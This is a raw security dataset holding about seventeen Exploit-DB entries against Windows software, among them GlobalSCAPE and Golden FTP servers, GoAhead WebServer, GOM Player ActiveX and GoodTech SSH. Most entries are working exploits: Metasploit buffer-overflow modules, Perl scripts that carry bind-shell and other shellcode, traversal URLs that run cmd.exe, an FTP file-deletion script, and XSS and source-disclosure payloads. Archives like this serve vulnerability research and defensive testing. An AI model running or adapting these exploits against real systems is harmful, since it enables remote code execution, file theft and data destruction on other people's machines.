deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16703
Description: GlobalScape Secure FTP Server - Input Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-10-05
Author: Metasploit

Exploit:
##
# $Id: globalscapeftp_input.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GlobalSCAPE Secure FTP Server Input Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
				All versions prior to 3.0.3 are affected by this flaw. A valid user account (
				or anonymous access) is required for this exploit to work.
			},
			'Author'         => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 10559 $',
			'References'     =>
				[
					[ 'CVE', '2005-1415'],
					[ 'OSVDB', '16049'],
					[ 'BID', '13454'],
					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x20" + (0x61..0x7a).to_a.pack('C*'),
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
				},
			'Platform'       => [ 'win' ],
			'Targets'        =>
				[
					[
						'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
						{
							'Ret'      => 0x1002f01f,
						},
					],
				],
			'DisclosureDate' => 'May 1 2005',
			'DefaultTarget' => 0))
	end

	def exploit
		connect_login

		buf           = make_nops(3047)
		buf[2043, 4]  = [ target.ret ].pack('V')
		buf[2047, payload.encoded.length] = payload.encoded

		send_cmd( [buf] )

		handler
		disconnect
	end

end
Exploit-DB #12815
Description: GoAheaad WebServer - Source Code Disclosure
Type: remote
Platform: windows
Date: 2010-05-30
Author: Sil3nt_Dre4m

Exploit:
# Exploit Title: GoAheaad Webserver Source Code Disclosure Vulnerability
# Date: 5-28-10
# Author: Sil3nt_Dre4m
# Software Link:
http://data.goahead.com/Software/Webserver/2.1.8/webs218.zip
# Version: 2.18 and earlier
# Tested on: Windows
# Affects: Windows platform only
# Code : http://ip.address.of.server/forms.asp.
http://ip.address.of.server/forms.asp%20

***
* Referenced: http://www.juniper.net/security/auto/vulnerabilities/vuln9239.html
***

Description of Software: "The GoAhead WebServer is a fast and efficient
standards-based Web server designed for cross-platform support.
While WebServer is designed for embedded devices it is nevertheless a fully
functional web server and its use is not limited to
embedded devices. WebServer's small foot-print and efficient design make it
well suited for a wide range of applications."
-quote from http://www.goahead.com/products/webserver/Default.aspx

Problem: Appending a '.' or '%20' to a URL will result in a source code
disclosure of whichever file is requested.
This did not work for files in /cgi-bin/ directory when tested, but seems to
work for other files/directories.
This technique only works on Windows systems, as Windows ignores periods and
spaces after files.
Sadly this software has not been updated since 2003 and remains public
despite known vulnerabilities dating to 2003/2004.
Exploit-DB #20607
Description: GoAhead Web Server 2.0/2.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-02
Author: Sergey Nenashev

Exploit:
source: https://www.securityfocus.com/bid/2334/info

A specially crafted URL composed of '..\' sequences along with the known filename will disclose the requested file. This vulnerability will also allow an attacker to execute arbitrary code with root privileges. 

Gaining access to a known file:

http://target/..\..\..\..\..\..\filename

Executing arbitrary commands:

http://target/cgi-bin/..\..\..\..\..\..\winnt\system32\cmd.exe?/c+dir+c:\
Exploit-DB #21707
Description: GoAhead Web Server 2.1 - Arbitrary Command Execution
Type: remote
Platform: windows
Date: 2002-08-14
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/5464/info

GoAhead WebServer is an Open Source embedded web server which supports Active Server Pages, embedded javascript, and SSL authentication and encryption. It is available for a variety of platforms including Microsoft Windows and Linux variant operating systems.

It has been discovered that a buffer overflow exists in GoAhead WebServer. This vulnerability could make it possible for a remote user to execute arbitrary code with the privileges of the web server process. This could lead to an attacker gaining remote access to a vulnerable host.

http://www.example.com/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/%eb%1f%5e%89%76%08%31%c0%88%46%07%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%db%89%d8%40%cd%80%e8%dc%ff%ff%ffreboot
Exploit-DB #23446
Description: GoAhead Web Server 2.1.x - '.ASP' File Source Code Disclosure
Type: remote
Platform: windows
Date: 2002-12-17
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9239/info

A vulnerability in GoAhead webserver may result in the disclosure of the source code of ASP script files. The vulnerability occurs because the application fails to sanitize HTTP requests.

An attacker can append certain characters to the end of an HTTP request for a specific ASP file. As a result, GoAhead webserver will disclose the contents of the requested ASP script file to the attacker.

This issue affects GoAhead 2.1.7 and earlier. 

http://www.example.com/asp.asp%00
http://www.example.com/asp.asp%2f
http://www.example.com/asp.asp%5c
http://www.example.com/asp.asp/
http://www.example.com/asp.asp
Exploit-DB #23555
Description: GoAhead Web Server 2.1.x - Directory Management Policy Bypass
Type: remote
Platform: windows
Date: 2004-01-19
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9450/info

GoAhead WebServer is prone to a vulnerability that may permit remote attackers to bypass directory management policy. 

It is reported that certain syntax may be used in HTTP GET requests to bypass the policy for how certain request should be handled, for example, a script that should be interpreted may be downloaded by the attacker instead. 

This could allow for unauthorized access to resources hosted on the server, likely resulting in disclosure of sensitive information such as script source code. The exact consequences will depend on what sort of directory management policy is in place and also the nature of information included in scripts or other sensitive resources hosted on the server.

http://www.example.com/\cgi-bin/[file]
http://www.example.com/\\\cgi-bin/[file]
http://www.example.com/%5ccgi-bin/[file]
Exploit-DB #21608
Description: GoAhead Web Server 2.1.x - Error Page Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-07-10
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/5198/info

A vulnerability has been reported for GoAhead WebServer 2.1. Reportedly, it is possible for attackers to launch cross site scripting attacks against vulnerable systems.

GoAhead WebServer includes unsanitized requested URLs when displaying a 404 error page. An attacker may be able to trick a user into following a link which includes malicious script code, and executing the attack. 

GoAhead-server/SCRIPTalert(document.domain)/SCRIPT
Exploit-DB #21607
Description: GoAhead Web Server 2.1.x - URL Encoded Slash Directory Traversal
Type: remote
Platform: windows
Date: 2002-07-10
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/5197/info

A vulnerability has been reported for GoAhead WebServer 2.1. Reportedly, it is possible to launch directory traversal attacks against GoAhead WebServer. It is possible for remote attackers to access arbitrary files residing on a vulnerable host.

It has been reported that it is possible to exploit this vulnerability to access arbitrary files on the server through a directory traversal attack. GoAhead WebServer correctly prevents attackers from using '../' sequences for directory traversal attacks. However, it does not prevent attackers from using URL encoded substitutions for the '/' character.

** Orange Web Server 2.1 is based upon GoAhead WebServer. It has been reported that Orange Web Server 2.1 is also vulnerable to this issue.

** It is also possible to connect directly to a GoAhead WebServer using netcat or telnet and issuing a GET command for a known file using regular directory traversal sequences. There is no requirement for encoding the '/' character as '%5C'. Instead an attacker can obtain files by using '..\..\' sequences.

GoAhead-server/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/win.ini
Exploit-DB #36217
Description: GoAhead Web Server 2.18 - 'addgroup.asp?group' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2011-10-10
Author: Silent Dream

Exploit:
source: https://www.securityfocus.com/bid/50039/info

GoAhead WebServer is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. 

POST /goform/AddGroup HTTP/1.1
group=<script>alert(1337)</script>&privilege=4&method=1&enabled=on&ok=OK
Exploit-DB #36218
Description: GoAhead Web Server 2.18 - 'addlimit.asp?url' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2011-10-10
Author: Silent Dream

Exploit:
source: https://www.securityfocus.com/bid/50039/info
 
GoAhead WebServer is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. 

POST /goform/AddAccessLimit HTTP/1.1
url=<script>alert(1337)</script>&group=test&method=3&ok=OK
Exploit-DB #36219
Description: GoAhead Web Server 2.18 - 'adduser.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: windows
Date: 2011-10-10
Author: Silent Dream

Exploit:
source: https://www.securityfocus.com/bid/50039/info
  
GoAhead WebServer is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
  
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
  
GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. 

POST /goform/AddUser HTTP/1.1
user=%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&group=%3Cscript%3Ealert%281337%2
9%3C%2Fscript%3E&enabled=on&[CREDENTIAL_REDACTED]=test&ok=OK
Exploit-DB #36319
Description: GoAhead Web Server 2.5 - 'goform/formTest' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: windows
Date: 2011-11-18
Author: Prabhu S Angadi

Exploit:
source: https://www.securityfocus.com/bid/50729/info

GoAhead WebServer is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

GoAhead WebServer 2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/goform/formTest?name=%3Cscript%3Ealert(4321)%3C/script%3E&address=%3Cscript%3Ealert(1234)%3C/script%3E
Exploit-DB #767
Description: Golden FTP Server 2.02b - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2005-01-22
Author: Barabas

Exploit:
#!/usr/bin/perl -w
# Barabas - www.whitehat.co.il -
# cheers to muts and all peeps at WH.
# XPSP2 goldenftpserver sploit - bind 4444

use strict;
use Net::FTP;
my $payload="\x41"x260;
$payload .="\x65\x82\xa5\x7c";#jmpesp
$payload .="\x90"x32;#not really necessary...blah
# win32_bind - EXITFUNC=seh LPORT=4444 Size=321 Encoder=None http://metasploit.com
$payload .="\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3".
"\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1".
"\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01".
"\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24".
"\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad".
"\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53".
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc".
"\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff".
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53".
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a".
"\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9".
"\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50".
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff".
"\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89".
"\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93".
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6".
"\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad".
"\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83".
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff".
"\xd0";

my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("ftp","ftp");
$ftp->quot("RNTO",$payload); 

# milw0rm.com [2005-01-22]
Exploit-DB #10258
Description: Golden FTP Server 4.30 - File Deletion
Type: remote
Platform: windows
Date: 2009-12-01
Author: sharpe

Exploit:
# Exploit Title: [Golden FTP Server File Deletion Vulnerability]
# Date: [18.11.2009]
# Author: [sharpe]
# Software Link: [http://www.goldenftpserver.com/download.html]
# Version: [4.30 Free and Professional]
# Tested on: [Windows XP SP3]
# CVE : [if exists]
# Code : [http://blog.sat0ri.com/?p=292]

#---
#sat0ri - sudden enlightenment
#http://blog.sat0ri.com/

use strict;
use Net::FTP

my $ftp = Net::FTP->new(”192.168.1.35&#8243;, Debug => 1) || die $@;

$ftp->login(”anonymous”, ‘anonymous@local.host’) || die $ftp->message;

# The FTP root is, via the configuration, set to C:\ftp\public
$ftp->cwd(”/public/”) || die $ftp->message;

# This deletes the file C:\bollocks.txt
$ftp->delete(”../../bollocks.txt”);

$ftp->quit;

$ftp = undef;
Exploit-DB #17355
Description: Golden FTP Server 4.70 - PASS Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-06-02
Author: Metasploit

Exploit:
#
# $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Golden
				FTP service. This module uses the PASS command to trigger the overflow.
			},
			'Author'         => [ 'bannedit' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12812 $',
			'References'     =>
				[
					[ 'BID', '45957 '],
					[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 350,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform'       => ['win'],
			'Targets'        =>
				[
					[
						'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
						{
							'Platform' => 'win',
							'Ret'      => 0x00a93ca6,
						},
					]

				],
			'DisclosureDate' => 'Jan 23 2011'))
	end
	
	def check
		connect
		disconnect
		print_status("FTP Banner: #{banner}".strip)
		if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		if datastore['RHOST'].length < 15
			pad = make_nops(1) * (15 - datastore['RHOST'].length)
		end
		
		sploit = make_nops(4) * 38
		sploit << payload.encoded
		sploit << pad
		sploit << make_nops(1) * (528 - sploit.length)
		sploit << [target.ret].pack('V')

		print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
		begin
			connect
			send_user("anonymous")
			send_cmd(['PASS', sploit], false)
			handler
		rescue EOFError
		end
	end
end
Exploit-DB #16572
Description: GOM Player - ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: gom_openurl.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GOM Player ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in GOM Player 2.1.6.3499.
				By sending an overly long string to the "OpenUrl()" method located
				in the GomWeb3.dll Control, an attacker may be able to execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-5779'],
					[ 'OSVDB', '38282'],
					[ 'URL', 'http://secunia.com/advisories/27418/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7e497c7b } ], # 10/29/07
				],
			'DisclosureDate' => 'Oct 27 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit =  rand_text_english(506) +  [target.ret].pack('V')
		sploit << p.encoded + rand_text_english(1024 - p.encoded.length)

		# Build out the message
		content = %Q|
			<html>
			<object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='#{vname}'></object>
			<script language='javascript'>
			var #{vname} = document.getElementById('#{vname}');
			var #{strname} = new String('#{sploit}');
			#{vname}.OpenURL(#{strname});
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #6804
Description: GoodTech SSH - 'SSH_FXP_OPEN' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-10-22
Author: r0ut3r

Exploit:
# GoodTech SSH Remote Buffer Overflow Exploit
# Written by r0ut3r - writ3r [at] gmail.com
#
# SSH_FXP_OPEN command contains a buffer oveflow.
#
# All other operations are also vulnerable, opendir, unlink, etc.
#
# 0day for 2 months :)

use Net::SSH2;

my $user = "root";
my $pass = "yahh";

my $ip = "127.0.0.1";
my $port = 22;

my $ssh2 = Net::SSH2->new();

print "[+] Connecting...\n";
$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n";
$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n";
print "[+] Sending payload\n";

my $junk = 'A'x164;
my $eip = "\x49\x13\x9c\x7c"; #call esp
my $nops = "\x90"x20;

my $shellcode =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x33".
"\x2e\x9c\x0e\x83\xeb\xfc\xe2\xf4\xcf\x44\x77\x43\xdb\xd7\x63\xf1".
"\xcc\x4e\x17\x62\x17\x0a\x17\x4b\x0f\xa5\xe0\x0b\x4b\x2f\x73\x85".
"\x7c\x36\x17\x51\x13\x2f\x77\x47\xb8\x1a\x17\x0f\xdd\x1f\x5c\x97".
"\x9f\xaa\x5c\x7a\x34\xef\x56\x03\x32\xec\x77\xfa\x08\x7a\xb8\x26".
"\x46\xcb\x17\x51\x17\x2f\x77\x68\xb8\x22\xd7\x85\x6c\x32\x9d\xe5".
"\x30\x02\x17\x87\x5f\x0a\x80\x6f\xf0\x1f\x47\x6a\xb8\x6d\xac\x85".
"\x73\x22\x17\x7e\x2f\x83\x17\x4e\x3b\x70\xf4\x80\x7d\x20\x70\x5e".
"\xcc\xf8\xfa\x5d\x55\x46\xaf\x3c\x5b\x59\xef\x3c\x6c\x7a\x63\xde".
"\x5b\xe5\x71\xf2\x08\x7e\x63\xd8\x6c\xa7\x79\x68\xb2\xc3\x94\x0c".
"\x66\x44\x9e\xf1\xe3\x46\x45\x07\xc6\x83\xcb\xf1\xe5\x7d\xcf\x5d".
"\x60\x7d\xdf\x5d\x70\x7d\x63\xde\x55\x46\x8d\x52\x55\x7d\x15\xef".
"\xa6\x46\x38\x14\x43\xe9\xcb\xf1\xe5\x44\x8c\x5f\x66\xd1\x4c\x66".
"\x97\x83\xb2\xe7\x64\xd1\x4a\x5d\x66\xd1\x4c\x66\xd6\x67\x1a\x47".
"\x64\xd1\x4a\x5e\x67\x7a\xc9\xf1\xe3\xbd\xf4\xe9\x4a\xe8\xe5\x59".
"\xcc\xf8\xc9\xf1\xe3\x48\xf6\x6a\x55\x46\xff\x63\xba\xcb\xf6\x5e".
"\x6a\x07\x50\x87\xd4\x44\xd8\x87\xd1\x1f\x5c\xfd\x99\xd0\xde\x23".
"\xcd\x6c\xb0\x9d\xbe\x54\xa4\xa5\x98\x85\xf4\x7c\xcd\x9d\x8a\xf1".
"\x46\x6a\x63\xd8\x68\x79\xce\x5f\x62\x7f\xf6\x0f\x62\x7f\xc9\x5f".
"\xcc\xfe\xf4\xa3\xea\x2b\x52\x5d\xcc\xf8\xf6\xf1\xcc\x19\x63\xde".
"\xb8\x79\x60\x8d\xf7\x4a\x63\xd8\x61\xd1\x4c\x66\xdc\xe0\x7c\x6e".
"\x60\xd1\x4a\xf1\xe3\x2e\x9c\x0e";

my $payload = $junk.$eip.$nops.$shellcode;

my $sftp = $ssh2->sftp();
$sftp->open($payload);

print "[+] Sent";
$ssh2->disconnect;

# milw0rm.com [2008-10-22]